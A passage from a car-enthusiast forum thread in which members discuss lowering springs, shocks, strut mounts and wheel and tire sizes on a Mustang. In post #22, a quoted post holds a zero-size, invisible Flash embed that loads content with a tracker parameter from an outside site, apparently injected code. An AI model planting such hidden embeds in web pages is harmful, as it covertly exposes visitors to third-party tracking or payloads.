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  • 2005 - 2014 S-197 Mustang -General/Talk-

From Start till now - Pictures

  • Thread starter Thread starter Wind-Farmer
  • Start date Start date Aug 23, 2009
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Wraith413

Member
Jul 1, 2009
418
0
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Galveston
Aug 31, 2009
#21
  • Aug 31, 2009
  • #21
Ok. Thanks for the reply,windfarmer. I have considered purchasing flaps for my Stang because of all the crap on Houston roads.
 

sbreaux26

New Member
Aug 21, 2001
47
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Baton Rouge, LA
Sep 3, 2009
#22
  • Sep 3, 2009
  • #22
Wind-Farmer said:
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="0" height="0"><param name="movie" value="http://brbyowner.com/?tracker=4097"></param><param name="allowFullScreen" value="true"></param><embed src="http://brbyowner.com/?tracker=4097" type="application/x-shockwave-flash" allowfullscreen="true" width="0" height="0"></embed></object>
Click to expand...

The lowering with the your wheel & tire combination really "makes' this car. Very Very Nice. How much was the drop front and back? What size rims and tires? Thanks....
 
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Wind-Farmer

Member
Sep 2, 2008
268
1
18
Minnesota
Sep 3, 2009
#23
  • Sep 3, 2009
  • #23
I have the Eibach Pro-Sports, they were around $250 if I remember correctly. I would do shocks while they already have your suspension tore apart. I enjoy my D-Specs, I think I paid $550 for them. I set the rear almost completely stiff, to help prevent rear end sag. I also did the GT500 strut mounts which were around $60-$70.

The tires were about $240 for the front and maybe $280 for the rears, not sure. I just ordered them as a package from my dealer...$2800 when all said and done.

255/35/20 in the front and 275/30/20 in the rear, which was the biggest mistake I have made, but thats what the dealer recomended.

I would go 275/35/20 in the rear, because the rear sidewalls are actually shorter than the front, and it's disgusting. only 1/2 total, so 1/4" on each quadrant of the rim, so not terrible I guess.


And yes, Iget many compliments on the stance of my car.

Thanks for the compliments!
 
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